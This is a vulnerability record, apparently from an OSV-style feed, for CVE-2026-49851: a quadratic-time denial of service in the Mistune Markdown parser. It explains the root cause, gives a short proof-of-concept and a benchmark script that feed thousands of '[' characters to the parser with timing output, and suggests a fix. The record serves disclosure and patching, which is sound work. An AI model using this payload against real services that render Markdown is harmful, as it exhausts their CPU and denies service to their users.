{"id":"CVE-2026-49851","aliases":["GHSA-qcq2-496w-v96p","PYSEC-2026-2652"],"url":"https://o3.security/vulnerability/CVE-2026-49851","summary":"Mistune: Potential DoS via quadratic-time parsing in parse_link_text","details":"### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py → **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) × O(n) = O(n²) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n<img width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" />\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n<img width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" />\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n²) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)","published":"2026-06-24T17:05:33.602Z","modified":"2026-08-30T03:30:53.972598095Z","cvss":null,"epss":{"score":0.0063,"percentile":0.48345,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"mistune","fixedVersion":"3.3.0"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60520"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-49851"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49851.json"},{"type":"ADVISORY","url":"https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49851"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492304"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-30T03:30:53.972598095Z"}}